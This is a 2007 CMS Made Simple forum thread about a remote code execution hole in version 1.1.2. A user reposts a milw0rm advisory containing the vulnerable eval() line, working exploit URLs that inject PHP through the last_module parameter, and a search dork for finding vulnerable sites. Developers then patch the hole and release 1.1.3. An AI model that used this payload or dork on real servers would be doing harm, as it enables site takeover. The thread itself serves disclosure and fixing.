CMSMS 1.1.2 Remote Code Execution Vulnerability

General project discussion. NOT for help questions.
Post Reply
User avatar
johnbmcdonald
Forum Members
Forum Members
Posts: 60
Joined: Mon May 14, 2007 8:01 pm

CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by johnbmcdonald »

FYI    I just ran across this..

http://www.milw0rm.com/exploits/4442


#                                      o      [bug]    /"*._        _        #
#                .                    .    .      .-*'`    `*-.._.-'/        #
#                                  o      o    < * ))    ,      (        #
#                            .          o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: CMS Made Simple 1.1.2 Remote Code Execution Vulnerability            #
# author: irk4z@yahoo.pl                                                      #
# download:                                                                    #
http://dev.cmsmadesimple.org/frs/downlo ... 2.zip&nbsp; #
# dork: "powered by CMS Made Simple version 1.1.2"                            #
# greetz: cOndemned, kacper, str0ke                                            #

# code:

/lib/adodb_lite/adodb-perf-module.inc.php:
...
eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
...

# exploit:

http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=phpinfo();
http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=[ PHPCODE ]

# milw0rm.com [2007-09-21]
RonnyK
Support Guru
Support Guru
Posts: 4962
Joined: Wed Oct 25, 2006 8:29 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by RonnyK »

John,

i posted your link in the DEV-channel, to be checked.

Just for curiosity, how did you get that link, did you search......

Ronny
calguy1000
Support Guru
Support Guru
Posts: 8169
Joined: Tue Oct 19, 2004 6:44 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by calguy1000 »

I've committed some changes that should stop this bug from happening.
Follow me on twitter
Please post system information from "Extensions >> System Information" (there is a bbcode option) on all posts asking for assistance.
--------------------
If you can't bother explaining your problem well, you shouldn't expect much in the way of assistance.
bterkuile
Forum Members
Forum Members
Posts: 97
Joined: Sun Jul 22, 2007 11:48 am

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by bterkuile »

I tested this one and it only worked when register_globals was On
calguy1000
Support Guru
Support Guru
Posts: 8169
Joined: Tue Oct 19, 2004 6:44 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by calguy1000 »

Yeah, but some environments put register_globals on for some of the older forum or cart packages, etc.
Follow me on twitter
Please post system information from "Extensions >> System Information" (there is a bbcode option) on all posts asking for assistance.
--------------------
If you can't bother explaining your problem well, you shouldn't expect much in the way of assistance.
User avatar
johnbmcdonald
Forum Members
Forum Members
Posts: 60
Joined: Mon May 14, 2007 8:01 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by johnbmcdonald »

Ronny,
John,

i posted your link in the DEV-channel, to be checked.

Just for curiosity, how did you get that link, did you search......

Ronny
When i started using this script a few months ago, I set up a google alert for "cms made simple vulnerability"
without the quotes.

http://www.google.com/alerts

John
Signex

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by Signex »

I see version 1.1.3 is already released in the DEV.  A very fast reaction from dev team!!
calguy1000
Support Guru
Support Guru
Posts: 8169
Joined: Tue Oct 19, 2004 6:44 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by calguy1000 »

CMS Made Simple 1.1.3 is out.  We've put checks into all of the adodb_lite scripts to ensure that it's being called from CMS Made Simple. This should ensure that this problem doesn't occur.
Follow me on twitter
Please post system information from "Extensions >> System Information" (there is a bbcode option) on all posts asking for assistance.
--------------------
If you can't bother explaining your problem well, you shouldn't expect much in the way of assistance.
User avatar
johnbmcdonald
Forum Members
Forum Members
Posts: 60
Joined: Mon May 14, 2007 8:01 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by johnbmcdonald »

Wow! Excellent response time!

Thanks!

John
calguy1000
Support Guru
Support Guru
Posts: 8169
Joined: Tue Oct 19, 2004 6:44 pm

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by calguy1000 »

You caught us on a good day.

Not that good, because the first patch was messed up, but still a reasonably good day.
Follow me on twitter
Please post system information from "Extensions >> System Information" (there is a bbcode option) on all posts asking for assistance.
--------------------
If you can't bother explaining your problem well, you shouldn't expect much in the way of assistance.
Pierre M.

Re: CMSMS 1.1.2 Remote Code Execution Vulnerability

Post by Pierre M. »

Well done Devs ! Thank you.

@all: Please notice : URL filtering prevents such attacks because the query string contains ],[,...
Of course, filtering or not, everybody should upgrade asap.

Pierre M.
Last edited by Pierre M. on Sun Sep 23, 2007 2:14 pm, edited 1 time in total.
Post Reply

Return to “General Discussion”